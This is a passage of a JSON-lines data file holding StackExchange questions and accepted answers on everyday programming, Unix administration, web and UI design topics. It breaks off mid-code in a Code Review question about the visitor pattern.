{  "id": "_softwareengineering.101844"  , "question": "I invested most my time and resources in programming, and now I think it's time I should invest some time in learning about user interface design, user experience, and usability.What are some good resources about usability and designing user interfaces? I'm mainly looking for more theoretical topics, such as color theory and color physiology and how they affect users, along with information about best practices."  , "title": "How can I improve my user interface and usability design skills?"  , "tags": "self improvement;books;user interface;usability;user experience"  , "accepted_answer": "Start by bookmarking https://ux.stackexchange.com/ If you are concerned about UI design then start by creating some custom controls. Think of something that you think is not possible on one platform (like an awesome looking control on WinForms) and try to design it yourself. I've learned a lot this way. More you experience more you learn. I also recommend reading any or all of the following books:Rocket Surgery Made Easy => From the author who wrote Don't Make Me ThinkDesigning Interfaces => This book is a big one and covers the design patters for UI. There is a chapter on psychological aspect too.Visualize This => I just started reading it and it is awesome. It is mostly about using statistics to visualize your data but is a great book on cool looking visualization."  } 
{  "id": "_webapps.73994"  , "question": "In order to allow Facebook users to log in to our (Android) Mobile App - I need to create an App Id on Facebook.Ideally I do not want to use my personal Facebook account to create the App Id.I would rather use a generic account which the company owns, and not individual.Does Facebook allow a generic account that a company can use for this purpose?What is the best practice for this?"  , "title": "Creating an Application on Facebook"  , "tags": "facebook;facebook apps"  } 
{  "id": "_webmaster.69886"  , "question": "My website has lots of links that are linking to it from different websites, but I don't see any visitors from China or Japan.Would translating my website help to start seeing new visitors from those countries? "  , "title": "Would translating my website help to get more traffic from China or Japan?"  , "tags": "seo;translation"  , "accepted_answer": "Yes, The problem of not much traffic from China and Japan is mainly because of the language barriers.If you have a localized website, it definitely will help.But content is always the king.You will get more traffic from China if more of your website pages could be indexed by Baidu, Baidu is working quite different from Google. "  } 
{  "id": "_webmaster.19626"  , "question": "Possible Duplicate:Is there any way to find out how often a certain query is sent to a search engine? How can i find keywords or phrase which fetch less than 100 or even no results, without manually doing it?I know it will take time for any person to go manually research.Any tool paid or free.Time is money"  , "title": "How can i find keywords or phrase which fetch less than 100 or even no results, without manually doing it?"  , "tags": "google;google search console;google search;research"  } 
{  "id": "_softwareengineering.7516"  , "question": "If I would like to quickly set up a modern website, what programming language + framework has best support for this? E.g. short and easy to understand code for a beginner and a framework with support for modern features. Disregard my current knowledge, I'm more interested in the capacity of web programming languages and frameworks.Some requirements:Readable URIs: http://example.com/category/id/page-title similar to the urls here on Programmers.ORM. A framework that has good database support and provide ORM or maybe a NoSQL-database.Good support for RESTful WebServices.Good support for testing and unit testing, to make sure the site is working as planned.Preferably a site that is ready to scale with an increasing number of users."  , "title": "What programming language and framework has best support for agile web development?"  , "tags": "web development;agile;frameworks"  , "accepted_answer": "I have now started to use Play Framework with Scala and Java. It's inspired by Ruby on Rails and it has a very short development cycle where you just save the Scala/Java files and then update the web browser. It's also easy to understand and has good performance. But the IDE's doesn't have very good support for e.g. the template files yet."  } 
{  "id": "_softwareengineering.41301"  , "question": "I am looking to learn how to properly use, and implement, HTTP headers. What is the best resource or set of guidelines that I can use? ( especially ranges to detect download managers, etc) ?"  , "title": "Where can I learn and understand the complete workings of HTTP headers, so I can implement my own?"  , "tags": "specifications;http"  } 
{  "id": "_cs.40500"  , "question": "I am writing a paper in which the worst-case analysis of a certain randomized algorithm is correct with probability $1-1/n$ (where $n$ is the size of the problem). I find myself writing, time after time, the following sentence: With high probability, in the worst case, the performance of phase A is at most X.The worst-case is with relation to the inputs; the high probability is with relation to the randomization of the algorithm. I.e, there is an adversary that choose the worst possible inputs, but then I do a lottery on which the adversary has no effect.Since there are many phases, this sentence appears many times throughout the paper and it looks cumbersome.  I tried to make it shorter by writing:In the worst case (WHP), the performance of phase A is at most... This still looks cumbersome... Is there a more common way to express this meaning?"  , "title": "Shortcut for in the worst-case, with high probability?"  , "tags": "terminology"  , "accepted_answer": "Your second example looks fine to me. In the worst case, phase A takes time/space X whp is even shorter."  } 
{  "id": "_unix.119725"  , "question": "I am setting up a new NFS client on a LAN that has a working NFS server (Ubuntu 12.04) running nfs4. The other clients all work as expected.On this new client I'm running ChrUbuntu with kernel 3.4.0 (Kubuntu 12.04) on an Acer Chromebook. I installed nfs-common. However, the mount command returns the error mount.nfs4 no such device. And # modprobe nfs returns Fatal: module nfs not found. Google didn't offer me any solutions.The mount command is like:sudo mount -t nfs4 -o _netdev,noatime,auto,rw myserver:/home/user/shared /home/user/mountpointThe modprobe command is:sudo modprobe nfsAnd nfs-common is the latest version from this release's repo: 1:1.2.5-3ubuntu3.1"  , "title": "Fatal: module nfs not found"  , "tags": "nfs;modprobe;chrubuntu"  , "accepted_answer": "modprobe is looking in /lib/modules to know whether a module is present. So you should check first if the current version of your running kernel has nfs module:ls -l /lib/modules/$(uname -r)/kernel/fsif you don't see nfs folder, it means the nfs module is not compiled for your running kernel. You can recompile kernel to make it use nfs module. However, you should upgrade your kernel first:sudo apt-get updatesudo apt-get dist-upgradesudo init 6"  } 
{  "id": "_softwareengineering.20080"  , "question": "Over on stackoverflow, I see this issue crop up all the time:  E_NOTICE ?== E_DEBUG, avoiding isset() and @ with more sophisticated error_handler How to set PHP not to check undefind index for $_GET when E_NOTICE is on? How to stop PHP from logging PHP Notice errors How do I turn off such PHP 5.3 Notices ? Even Pekka (who offers a lot of solid PHP advice) has bumped against the dreaded E_NOTICE monster and hoped for a better solution than using isset(): isset() and empty() make code ugly Personally, I use isset() and empty() in many places to manage the flow of my applications.  For example:public function do_something($optional_parameter = NULL) {    if (!empty($optional_parameter)) {        // do optional stuff with the contents of $optional_parameter    }    // do mandatory stuff}  Even a simple snippet like this:if (!isset($_REQUEST['form_var'])) {    // something's missing, do something about it.}seems very logical to me.  It doesn't look like bloat, it looks like stable code.  But a lot of developers fire up their applications with E_NOTICE's enabled, discover a lot of frustrating uninitialized array index notices, and then grimace at the prospect of checking for defined variables and littering their code with isset().I assume other languages handle things differently.  Speaking from experience, JavaScript isn't as polite as PHP.  An undefined variable will typically halt the execution of the script.  Also, (speaking from inexperience) I'm sure languages like C/C++ would simply refuse to compile.So, are PHP devs just lazy?  (not talking about you, Pekka, I know you were refactoring an old application.)  Or do other languages handle undefined variables more gracefully than requiring the programmer to first check if they are defined?(I know there are other E_NOTICE messages besides undefined variables, but those seem to be the ones that cause the most chagrin)AddendumFrom the answers so far, I'm not the only one who thinks isset() is not code bloat.  So, I'm wondering now, are there issues with programmers in other languages that echo this one?  Or is this solely a PHP culture issue?"  , "title": "Why do many PHP Devs hate using isset() and/or any of PHP's similarly defensive functions like empty()?"  , "tags": "php;error messages"  , "accepted_answer": "I code to E_STRICT and nothing else. Using empty and isset checks does not make your code ugly, it makes your code more verbose. In my mind what is the absolute worst thing that can happen from using them? I type a few more characters.Verses the consequences of not using them, at the very least warnings."  } 
{  "id": "_datascience.17193"  , "question": "I've build a CNN in Tensorflow with 2 conv layers, 1 pool layer and 2 FC layers. When I don't use dropout I get 98% accuracy on training dataset and 90% on test dataset. But, when I do use dropout, I get 62% accuracy on training dataset and 83% on test dataset.I use 25 labels when each label has between 500-1200 samples.What could be the problem?UPDATE1BUILD NETWORKbatch_size = 50conv1_kernel_size = 3conv1_num_kernels = 16conv2_kernel_size = 3conv2_num_kernels = 16num_hidden = 64num_channels = 1image_size = 32with tf.Graph().as_default() as graph:  # input data  tf_train_dataset = tf.placeholder(tf.float32, shape=(batch_size, image_size, image_size, num_channels))  tf_train_labels = tf.placeholder(tf.float32, shape=(batch_size, num_labels))   tf_test_dataset = tf.constant(test_dataset)  tf_test_single_data = tf.placeholder(tf.float32, shape=(1, image_size, image_size, num_channels))  conv1_weights = tf.Variable(tf.truncated_normal([conv1_kernel_size, conv1_kernel_size, num_channels, conv1_num_kernels]), name='conv1_weights')    conv1_biases = tf.Variable(tf.zeros([conv1_num_kernels]), name='conv1_biases')  conv2_weights = tf.Variable(tf.truncated_normal([conv2_kernel_size, conv2_kernel_size, conv1_num_kernels, conv2_num_kernels]), name='conv2_weights')    conv2_biases = tf.Variable(tf.constant(1.0, shape=[conv2_num_kernels]), name='conv2_biases')  fc1_weights = tf.Variable(tf.truncated_normal([image_size // 2 * image_size // 2 * conv2_num_kernels, num_hidden], stddev=0.1), name='fc1_weights')  fc1_biases = tf.Variable(tf.constant(1.0, shape=[num_hidden]), name='fc1_biases')  fc2_weights = tf.Variable(tf.truncated_normal([num_hidden, num_labels], stddev=0.1), 'fc2_weights')  fc2_biases = tf.Variable(tf.constant(1.0, shape=[num_labels]), 'fc2_biases')       keep_prob = tf.placeholder(tf.float32)  # model  def model(data):    conv1 = tf.nn.conv2d(data, conv1_weights, strides=[1, 1, 1, 1], padding='SAME')       conv1_hidden = tf.nn.relu(conv1 + conv1_biases)        conv2 = tf.nn.conv2d(conv1_hidden, conv2_weights, strides=[1, 1, 1, 1], padding='SAME')    conv2_hidden = tf.nn.relu(conv2 + conv2_biases)        pool_conv2_hidden = tf.nn.max_pool(conv2_hidden, ksize=[1,2,2,1], strides=[1, 2, 2, 1], padding='SAME')            pool_conv2_hidden_shape = pool_conv2_hidden.get_shape().as_list()       fc1 = tf.reshape(pool_conv2_hidden, [pool_conv2_hidden_shape[0], pool_conv2_hidden_shape[1] * pool_conv2_hidden_shape[2] * pool_conv2_hidden_shape[3]])        fc1_hidden = tf.nn.relu(tf.matmul(fc1, fc1_weights) + fc1_biases)    fc1_drop_hidden = tf.nn.dropout(fc1_hidden, keep_prob)    fc2 = tf.matmul(fc1_drop_hidden, fc2_weights) + fc2_biases    return fc2  # training computation  logits = model(tf_train_dataset)  loss_cross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits, labels=tf_train_labels))  optimizer = tf.train.GradientDescentOptimizer(0.05).minimize(loss_cross_entropy)  # predictions   train_prediction = tf.nn.softmax(logits)  test_prediction = tf.nn.softmax(model(tf_test_dataset))RUN NETWORKnum_steps = 20000with tf.Session(graph=graph) as session:      tf.global_variables_initializer().run()      print('Initialized')      for step in range(num_steps):              offset = (step * batch_size) % (train_labels.shape[0] - batch_size)            batch_data = train_dataset[offset:(offset + batch_size), :, :, :]        batch_labels = train_labels[offset:(offset + batch_size), :]                 feed_dict = {tf_train_dataset : batch_data, tf_train_labels : batch_labels, keep_prob : 1.0}        _, loss, predictions = session.run([optimizer, loss_cross_entropy, train_prediction], feed_dict=feed_dict)        train_acc = accuracy(predictions, batch_labels)        if (step % 50 == 0):          epoch = (step * batch_size) // (train_labels.shape[0] - batch_size)                print('Epoch-%d - Minibatch loss at step %d: %f' % (epoch, step, loss))                    print('Epoch-%d - Minibatch train accuracy: %.1f%%' % (epoch, train_acc))                print('Test accuracy: %.1f%%' % accuracy(test_prediction.eval(feed_dict={keep_prob : 1.0}), test_labels))"  , "title": "Why does dropout ruin my accuracy in CNN?"  , "tags": "neural network;tensorflow;regularization;dropout"  } 
{  "id": "_webmaster.89816"  , "question": "We recently encountered an issue where we added a JavaScript variable (e.g. var GLOBAL_VAR = true;) to an HTML page (e.g. /Search/Index) and updated the separate JS file (e.g. /Scripts/search/index.js) to access and use that JS variable. After publishing these changes live to the web, we began getting JS errors generated by Googlebot that are sent to us by our window.onerror function. The errors are like:Uncaught ReferenceError: GLOBAL_VAR is not definedLine #: 1http://example.com/Scripts/search/index.jsWhen I visit the /Search/Index page on our site, I clearly see the new JS variable is there and defined.It's almost as if when Googlebot is crawling our site, it isn't detecting that the HTML page changed. So that means it is using old, cached HTML that doesn't include the setting of the GLOBAL_VAR variable, which causes the JS error.We published the HTML/JS changes on 2/6, and we are still getting JS errors as of 2/10. I would have thought Googlebot would recognize the HTML changes by now. We've never experienced this problem in the past.Why would Googlebot not update their cache if the HTML of a page changes? Most importantly, how can we get Googlebot to detect the HTML changes and update their cache, so we stop getting these JS errors?"  , "title": "Googlebot encountering JavaScript errors due to rendering outdated HTML files with newer JS files"  , "tags": "javascript;web crawlers;googlebot"  } 
{  "id": "_softwareengineering.104816"  , "question": "With popular software out today like Node.js, Celery, Twisted, and others boasting about being asynchronous, what does it mean? I've gone through the basic Node.js tutorials and written a few Node.js scripts, but still don't feel comfortable with the topic. Please note that I haven't had I had any formal introduction to the topic. How exactly does asynchronous software work?  What are the pros and cons?What are callbacks?Lastly, how does a synchronous web server perform vs. an asynchronous web server?"  , "title": "What does it mean for software, libraries, and languages to be asynchronous?"  , "tags": "web development;javascript;node.js"  , "accepted_answer": "Wikipedia might be a good place to start with some general concepts and basic information.This quote from that page sums it up but probably needs a bit of knowledge to fully understand it.In programming, asynchronous events are those occurring independently of the main program flow. Asynchronous actions are actions executed in a non-blocking scheme, allowing the main program flow to continue processing.So with synchronous programming the user initiates an action on the program but then has to wait for the operation to complete before being able to do anything else. An example might be saving a file to disk, you can't do anything else until the file is saved.With asynchronous programming the user initiates an action, but then can carry on doing other work while the operation completes. The program then notifies the user in some way that its finished. An example here might be printing a document. Here you initiate the print then (after some set up) can carry on while the document is sent to the printer. You get some sort of notification that the printing is complete.Asynchronous applications rely on multithreading or spawning child processes that do the work.Callbacks are one mechanism where the calling code can do something when the asynchronous operation is complete. You'll register the callback with the long running process in some way then when it completes the code defined by the callback will be executed."  } 
{  "id": "_webapps.31505"  , "question": "I know how to change the theme in GMail and change the background. However I would like the background of my theme to change every so many minutes versus once a day. Similar to the way you can set the time in Windows for changing the desktop background. I have not seen a way to do this in GMail settings. Is this possible?"  , "title": "Change GMail Background every X minutes"  , "tags": "gmail"  , "accepted_answer": "You'll need to select a theme that changes hourly or at least based on the time of day.In Gmail Themes there are four types of backgrounds you can choose, as indicated by the icon in the lower right of the background preview image:None - Static and one image onlySun - Changes based on the weather, set by your location settingClock - Based on time of dayStrip - Depends on the day of the weekThat's the closest you'll get for now until they allow you to upload or select an album to flip through as a background wallpaper on X time increments."  } 
{  "id": "_unix.115339"  , "question": "So I use Mint a lot, but wish to switch to Ubuntu due to trivial updating Ubuntu offers.Problem with Ubuntu is that a lot of neat packages (Such as right click commands for open in terminal etc) don't come pre-installed.I wish to get a list of packages to install on Ubuntu that are pre-installed on Mint, even just the GUI based ones would be great!Note: I am not trying to get Ubuntu looking like mint, just the GUI packages that make life easy. I am also not asking opinions on what are the best GUI packages out there, just what Mint has Ubuntu doesn't."  , "title": "Find and install Mint's default packages into new Ubuntu install"  , "tags": "package management;nautilus;synaptic"  } 
{  "id": "_unix.107611"  , "question": "I've installed windows 7 and linux dualboot. My partitions are:/dev/sda2: UUID=EC328C61328C329E TYPE=ntfs /dev/sda3: UUID=800E88610E8851D8 TYPE=ntfs /dev/sda4: UUID=20e7c430-bab0-4aa1-8afe-caa9d97e1de3 TYPE=ext4where sda2 is windows sda3 is shared partition and sda4 is linuxsd3 has mounting point /windowsBecause sda2 and sda4 are small partitions I created directories Music, Documents, etc. and redirected windows libraries in here.I want do the same in linux but editing ~/.config/user-dirs.dirstoXDG_DESKTOP_DIR=$HOME/PlochaXDG_DOWNLOAD_DIR=$HOME/XDG_TEMPLATES_DIR=$HOME/ablonyXDG_PUBLICSHARE_DIR=$HOME/VeejnXDG_DOCUMENTS_DIR=/windows/home/DocumentsXDG_MUSIC_DIR=/windows/home/MusicXDG_PICTURES_DIR=/windows/home/PicturesXDG_VIDEOS_DIR=/windows/home/Videoshas no effect. Folders has icons as it if works but when I click on Music in the file browser it goes to /home/myUser/Music not into/windows/home/Music.It would be great if it would work for cd ~/Music command too :)"  , "title": "Redirect home to shared NTFS partition"  , "tags": "directory structure;defaults"  , "accepted_answer": "Keep the lines as they were in original user-dirs.dirs :  XDG_MUSIC_DIR=$HOME/MusicXDG_PICTURES_DIR=$HOME/PicturesXDG_VIDEOS_DIR=$HOME/VideosAnd now create symbolic links to point to your windows folders (make sure you have no important data in the three concerned folders :cd ~rm -fr Music Pictures Videosln -s /windows/home/Music ln -s /windows/home/Pictures ln -s /windows/home/Videos By the way, you would better create a swap partition. You don't mention you did it already."  } 
{  "id": "_softwareengineering.196502"  , "question": "Now, when I make a programming mistake with pointers in C, I get a nice segmentation fault, my program crashes and the debugger can even tell me where it went wrong.How did they do that in the time when memory protection wasn't available? I can see a DOS programmer fiddling away and crashing the entire OS when he made a mistake. Virtualization wasn't available, so all he could do was restart and retry. Did it really go like that?"  , "title": "How did they debug segmentation faults before protected memory?"  , "tags": "history;debugging;memory"  , "accepted_answer": "I can see a DOS programmer fiddling away and crashing the entire OS when he made a mistake.Yeah, that's pretty much what happened.  On most systems that had memory maps, location 0 was marked invalid, so that null pointers could be easily detected, because that was the most common case.  But there were lots of other cases, and they caused havoc.At the risk of sounding like a geezer, I should point out that the current focus on debugging is not the way of the past.  Much more effort was previously made to write correct programs, rather than to remove bugs from incorrect programs.  Some of that was because that was our goal, but a lot was because the tools made things hard.  Try writing your programs on paper or on punched cards, not in an IDE, and without the benefit of an interactive debugger.  It gives you a taste for correctness."  } 
{  "id": "_webapps.105093"  , "question": "I've just found that I'm following all people whom I connected to. There are two ways to connect people through LinkedIn 1. Send an invitation and 2. Accept an invitation. Either way you connect the people I think it is also considered following automatically.So, Is connecting people automatically consider following them upon connection? Can I stop it? or I've to manually manage it individually?I've found that you can also follow one without connecting. Similarly you can unfollow one whom you're connected with.What is the difference between connecting people and following people?Note that I'm talking about peoples only not about following groups or companies."  , "title": "Am I automatically considered to be following one whom I connect through LinkedIn?"  , "tags": "linkedin"  , "accepted_answer": "LinkedIn defines a connection as a two-way relationship of trust between people who know each other. If you are connected to someone, youre following him or her by default and vice-versa.So yes, to unfollow anyone you have to manually manage it individually.Yes, you can follow anyone to get their updates on your home page. Once you follow them they will get notification about it. They will not get any update from you if they are not following you. You can unfollow anyone anytime. They will not get notification about it.See the LinkedIn Help to know about Similarities and Differences Between Following And Connecting."  } 
{  "id": "_unix.150582"  , "question": "Given the scenario:Remote machine: SSH server; user does not have admin privileges;Local machine: SSH client; user has admin privileges.If user, logging in to remote from local, wishes to interact with remote using a shell not installed on remote, how can user accomplish this alone?Example: user uses fish on local, and wishes also to use it on remote, but remote only has bash and zsh installed."  , "title": "Use a shell not installed on remote machine"  , "tags": "shell;ssh;not root user"  , "accepted_answer": "Install your favorite shell on the remote machine. You don't need any administrator privileges to do that, you can install programs in your home directory, it's just less convenient. See Installation on debian 5 32-bit without being a root, How to install program locally without sudo privileges?, Keeping track of programs and other questions.If you want to automatically log into a shell that you installed yourself instead of the default one, see Making zsh default shell without root accessIf all you want to do is manipulate remote files, you can use SSHFS to mount the remote directory tree on your local machine.mkdir ~/remote.dsshfs remote.example.com:/ ~/remote.dls ~/remote.d/fusermount -u ~/remote.dIf you have no room in your home directory or it's a shared account, you can make do with setting up a reverse SSH tunnel and mount your local directory tree on the remote machine with SSHFS, assuming that the two machines are running the same architecture (same unix variant on the same processor type). If the two machines have incompatible architectures, you can even install the programs for the remote architecture in your local home directory. This may not be very convenient as you'll have to set up paths correctly for the programs to find their libraries, configuration files and other data files.Emacs's eshell is compatible with Tramp: if you change to a remote directory in Eshell, you'll be executing commands on the remote machine."  } 
{  "id": "_unix.269464"  , "question": "I am trying to set up Powerline in my xterm. Im running ArchLinux.I have followed the steps from here and I am at this point here:So basicaly it works but I just cannot make the arrows appear. This has something to do with the fonts, but I have installed PowerlineSymbols as described in the link above. How can I make the symbols display correctly in xterm?"  , "title": "Unable to use correctly Powerline with xterm"  , "tags": "fonts;xterm;unicode"  } 
{  "id": "_unix.225412"  , "question": "I installed Apache using this script https://gist.github.com/Benedikt1992/e88c2114fee15422a4eb The system is a freshly installed CentOS 6.7 minimal system.After installation I can find the apache in /usr/local/apache2/ but I can't start the apache with service or enable start on boot with chkconfig. What am I missing?"  , "title": "How to configure Apache init scripts, after compiling and installing the sources?"  , "tags": "centos;apache httpd"  , "accepted_answer": "Apache 2.4 doesn't use the init scripts. As Saul Ortega said the apachectl script can be used to start the server. It can also be used as a standard SysV init script. Further informations can be found in the apache doc http://httpd.apache.org/docs/2.4/en/invoking.html"  } 
{  "id": "_unix.149900"  , "question": "I am using GNU parallel to run a bash function. The function just contains the bash script to restart my program. At first, the restart is ok, but when parallel exits, my program also fails. Why?#!/bin/bashfunction_A () {        local module=$1        set -x        cd /dir/${module}/;sh stop_${module}.sh;sh start_${module}.sh;sleep 10}export -f function_Aparallel --tag --onall --env function_A -S my_host function_A ::: my_programOutput from ps:root     12967  0.0  0.0  65960  1152 pts/1    Ss+  16:30   0:00 bash -c echo $SHELL | egrep /t?csh > /dev/null && echo CSH/TCSH DO NOT SUPPORT newlines IN VARIABLES/FUNCTIONS && exec false;? eval `echo $SHELL | grep /t\\{0,1\\}csh > /dev/null  && echo setenv PARALLEL_SEQ 1\\;  setenv PARALLEL_PID 6431  || echo PARALLEL_SEQ=1\\;export PARALLEL_SEQ\\;  PARALLEL_PID=6431\\;export PARALLEL_PID` ; tty >/dev/null && stty isig -onlcr -echo;echo $SHELL | grep /t\\{0,1\\}csh > /dev/null && setenv function_A \\(\\)\\ \\{\\ \\ local\\ module=\\$1\\;?\\ set\\ -x\\;?\\ cd\\ /dir/\\$\\{module\\}/\\;?\\ sh\\ test.sh\\;?\\ sleep\\ 10?\\} || export function_A=\\(\\)\\ \\{\\ \\ local\\ module=\\$1\\;?\\ set\\ -x\\;?\\ cd\\ /dir/\\$\\{module\\}/\\;?\\ sh\\ test.sh\\;?\\ sleep\\ 10?\\} && eval function_A$function_A;function_A my_program"  , "title": "When GNU parallel exitmy program also fail"  , "tags": "bash;shell script;gnu parallel"  } 
{  "id": "_webmaster.103456"  , "question": "do have anyone experience with 1and1 hosting? I've tried to read over their transparent pricing.They have a configuration panel, that allows to select amount of CPU/RAM/SSD storage.(Configuration Panel)What is that configuration about? And how do autoscaling work?The configuration is per-machine and if the machine is too busy they instantiate another machine?The configuration is total hardware power divided among machines? (in that case then the only thing that scales is the price since traffic load  may vary according to time of day)If I choose the most powerfull hardware combination, and I have just 1 user at any time, will I pay the full computing power?  (In example the configuration is able to host 1.000.000 users, but for some reason the server is kept busy 24h/24h just by 1 user)Do I have to configure a different DB for each machine? If yes how do I assign databases Usernames/Passwords and IP adresses.Do computing power scale automatically? If yes why they mention I will be able to change configuration in 55 seconds at any time? Why do I need to change configuration if the Cloud scales?I know that are lot of questions, but in reality it is just one question: How do 1and1 Cloud hosting scales?"  , "title": "1and1 Cloud hosting scaling of DB and Instances"  , "tags": "cloud hosting;cloud;scalability"  } 
{  "id": "_unix.287410"  , "question": "The code is ;cm=$1nm=$2case $cm inout)declare -a  endeclare -a infec=$(grep -n !  hw1_out_si_wire.txt)IFS=$'\\n' en=($ec)lst=$((${#en[@]} -1))IFS=' ' inf=($en[$lst])echo  Energy: ${inf[4]} ${inf[5]};;in) echo It's not my problem;;esacAnd I'm trying to take 7th element of $en but the output is ;[7]ergy: -1090.13343774 RyAnd the $en array is ;!    total energy              = -1090.13343774 Ry!    total energy              = -1090.20757070 Ry!    total energy              = -1090.24296462 Ry!    total energy              = -1090.25563488 Ry!    total energy              = -1090.27085564 Ry!    total energy              = -1090.27693129 Ry!    total energy              = -1090.28213580 Ry!    total energy              = -1090.29131927 RySo, what is the problem with this code ?Why is the output like this ?Note:If the informations given is not enough , please inform me."  , "title": "What is wrong in this code?"  , "tags": "bash;osx;array"  , "accepted_answer": "The fact that something is possible to do in bash, doesn't mean that you should, or that it's a good idea.  What you are trying to do is much easier in languages like awk or perl.bash arrays are a fairly advanced usage of bash and, due to limitations in the bash/sh language itself (and the awkwardness of using them), not really as useful as arrays are in other languages.  They're great for passing multiple arguments to a command or a function, but of limited use beyond that.Instead of messing around with bash arrays, try awk.For example:#! /bin/shcm=$1nm=$2case $cm in  out) awk -F'[[:space:]]+' '           /^!/  {             c++;             if (c==7) {               print  Energy:,$5,$6;             };           };' hw1_out_si_wire.txt ;;   in) echo It's not my problem ;;esacOutput: Energy: -1090.28213580 RyThe embedded awk script counts each line beginning with a !, and when it gets to the 7th line, it prints the 5th and 6th fields.The -F option sets the field separator to 1-or-more whitespace characters (spaces, tabs, newlines, carriage returns, form-feeds, and vertical tabs).  The version in my comment used [\\r[:blank:]]+ (which is blank characters, spaces and tabs, plus carriage-return).  For your input data, it works the same.If your version of awk doesn't support regexp field-separators (e.g. mawk) then just drop the -F'[[:space:]]+' from the awk command-line.  It will still work, but if the input file is a MS-DOS/Windows text file (i.e. with carriage-return and line-feed as line-ending) rather than a unix text file (with line-feed only as line-ending), it'll output a carriage-return at the end.  The carriage-return will be invisible unless piped through cat -v: Energy: -1090.28213580 Ry^MIn that case, convert the file to unix format with fromdos first."  } 
{  "id": "_unix.285774"  , "question": "My text file has no delimiter to specify separator just spaces, how do I cut out column 2 to output file,39    207  City and County of San Francisc   REJECTED          MAT = 078    412  Cases and materials on corporat   REJECTED          MAT = 082    431  The preparation of contracts an   REJECTED          MAT = 0So output I need is 207412432"  , "title": "cut column 2 from text file"  , "tags": "text processing;columns;cut"  } 
{  "id": "_cs.49661"  , "question": "The natural grammar for dangling else is ambiguous.But there exists an unambiguous version of the grammar that links the else to last uncompleted if statement.Is this version also deterministic?Is this language deterministic?Natural grammar (ambiguous):$$S \\rightarrow if~expr~S | if~expr~S~else~S | cmd$$Unambiguous grammar:$$\\begin{align*}S &\\rightarrow U~|~F\\\\U &\\rightarrow if~expr~S~|~if~expr~F~else~U\\\\F &\\rightarrow if~expr~F~else~F~|~cmd\\end{align*}$$"  , "title": "Dangling else determinism"  , "tags": "context free;formal grammars;nondeterminism"  } 
{  "id": "_softwareengineering.312906"  , "question": "I came across this problem of finding the shortest path with exactly k edges. After some searching, I found the code below. It uses a 3D DP. States are there for number of edges used, source vertex and destination vertex. It seems like they have used something like a Floyd Warshall algorithm here. In that case, shouldn't we use the loop order : e {a {i {j {} } } } ? Where a is the loop for the intermediate vertex. Dynamic Programming based C++ program to find shortest path with exactly k edges#include <iostream>#include <climits>using namespace std;// Define number of vertices in the graph and inifinite value#define V 4#define INF INT_MAX// A Dynamic programming based function to find the shortest path from// u to v with exactly k edges.int shortestPath(int graph[][V], int u, int v, int k){    // Table to be filled up using DP. The value sp[i][j][e] will store    // weight of the shortest path from i to j with exactly k edges    int sp[V][V][k+1];    // Loop for number of edges from 0 to k    for (int e = 0; e <= k; e++)    {        for (int i = 0; i < V; i++)  // for source        {            for (int j = 0; j < V; j++) // for destination            {                // initialize value                sp[i][j][e] = INF;                // from base cases                if (e == 0 && i == j)                    sp[i][j][e] = 0;                if (e == 1 && graph[i][j] != INF)                    sp[i][j][e] = graph[i][j];                //go to adjacent only when number of edges is more than 1                if (e > 1)                {                    for (int a = 0; a < V; a++)                    {                        // There should be an edge from i to a and a                         // should not be same as either i or j                        if (graph[i][a] != INF && i != a &&                            j!= a && sp[a][j][e-1] != INF)                          sp[i][j][e] = min(sp[i][j][e], graph[i][a] +                                                   sp[a][j][e-1]);                }            }       }    }}return sp[u][v][k];}"  , "title": "Dynamic Programming: Shortest path with exactly k edges in a directed and weighted graph"  , "tags": "graph;dynamic programming"  , "accepted_answer": "In a standard Floyd-Warshall implementation that order does indeed matter ( the loops need to be intermediate{source{destination}} ). This question has already been answered hereFloyd Warshall optimizes cost by trying to optimize the cost from i to j through another vertex k. so esentially it's also doing it in an ascending way in terms of the number of edges. Here however, the order does not really matter because you already have the information for e-1 edges already calculated so you have all the information you need in order to calculate the optimal cost. "  } 
{  "id": "_softwareengineering.337525"  , "question": "Recently, i have shifted from ASP.NET web-forms to MVC based projects. I was thinking about the state management is working for a MVC project. How the MVC page controls are able to retain the state upon any action such as click, checked etc. I was wondering, if there is any DEFAULT state management pattern for the MVC app.Please share some high level inputs. "  , "title": "ASP.NET MVC Default State Management"  , "tags": "mvc;asp.net mvc"  , "accepted_answer": "ASP.NET/MVC doesn't try to hide the nature of the web (that is, it is stateless), like WebForms does.This means it has no built-in way to manage state.That's completely up to the developer."  } 
{  "id": "_codereview.144625"  , "question": "Brief summary:The vanilla GoF visitor is great for altering items within a tree of elements, but when the visitor visits an element it can only change the children of that element not the element itself. For example, a visitor altering the DOM of a webpage could search for everything that contains an image and replace it with an ascii art version of that image. However, <dim>s can contains images, <table>s can contain images, paragraphs (<p>) can contain images. When the visitor is visiting the node for <image> tag itself it cannot change the type of the image node, though you could change the content of the image node - this is just how visitors work. Instead you would have to find everything that could conceivably contain an image and then visit that - and on top of that anytime W3C added another item that could contain an image you would have to update your visitor. This isn't a perfect example - there a lots of tools for altering webpage DOMs - but hopefully it is an intuitive one.Sorry - there is a wall of text in the more complete description below. I'm trying to walk the line between brevity and fully explaining everything, but it looks like this post same out quite wordy.What I have:I have a class hierarchy that can be represented by the simplified classes below:Element is the abstract base class for all visitable classes, and has an Accept method.LeafElementA and LeafElementB are concretes that are extremely simple. They don't do anything, but just represent that there can be different types of leaves.MultiCompositeElement and BinaryCompositeElement are also concretes that can contain other Elements - either a collection, or a Left and Right (respectively). The Accept method overrides handle recursing to the contained Elements.I also have some Visitors that visit each of the Elements. All vanilla GoF visitor so far...(I'm not looking for feedback on this class hierarchy, I'm just setting the scene with a simplified version of the real classes that I am working with).What I want:I would like to use a visitor to alter the structure of the Element tree. For example, in this toy example I might want to append a LeafElementA to each composite element, and if the composite element is a BinaryCompositeElement to convert it to a MultiCompositeElement before (and also recursively visit all the children of each composite element too...).The vanilla visitor does not cope with this well. When you visit an Element you can alter the content of that Element but not return a completely different Element.I could check the children of each MultiCompositeElement and BinaryCompositeElement as I visit them to see if any of the children need to be transformed from a BinaryCompositeElement to a MultiCompositeElement. However, this would violate the DRY principle as the check would have to be in both visit methods. This would be compounded by the fact that in the 'real' implementation there are many composite type elements - not just 2.Finally the code:DotNetFiddle (sorry for the terrible ToString implementation on this one) or download csproj/zip from dropbox (no terrible ToString, just put a breakpoint in the the end of the main method).I have left out some clutter bits of code from the snippets below. There is no error checking or null checking.Base classes (I've not included IVisitor as it would also increase clutter. All of the methods on VisitorBase are on IVisitor):// Element base classpublic abstract class Element   {  // I am returning an Element here (different from a normal GoF implementation)  